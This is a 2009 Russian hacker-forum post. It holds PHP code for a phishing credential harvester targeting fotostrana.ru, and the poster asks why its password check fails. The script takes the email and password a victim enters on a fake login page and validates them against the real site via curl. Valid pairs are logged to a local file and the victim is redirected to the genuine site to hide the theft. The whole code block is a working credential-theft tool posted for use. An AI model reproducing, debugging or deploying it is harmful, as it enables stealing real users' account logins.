
11.01.2009, 15:10
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
PHP код:
<?php
/**
* @author m0hze
* @copyright 2009
*/
$email = $_POST['user_email'];
$password = $_POST['user_password'];
if($email == '' && $password == ''){
header("Location : index.php");
} else {
$post = 'user_email='.$email.'&user_password='.$password;
$cl = curl_init('http://fotostrana.ru/user/login');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_POST, 1);
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
$exec = curl_exec($cl);
curl_close($cl);
if(stristr($exec, 'Неверный логин или пароль')){
$error = file_get_contents('index.php');
echo $error;
}else{
$fo = fopen('base.php','a');
fwrite($fo,"$email:$password\n");
fclose($fo);
header("Location: http://fotostrana.ru/user/login/?user_email=$email&user_password=$password");
}
}
?>
Все принимает за гуд,хотя сам курл работает,не проходит только проверка на слово.Кто чем? А то у меня вынос мозга начался...
|
|
|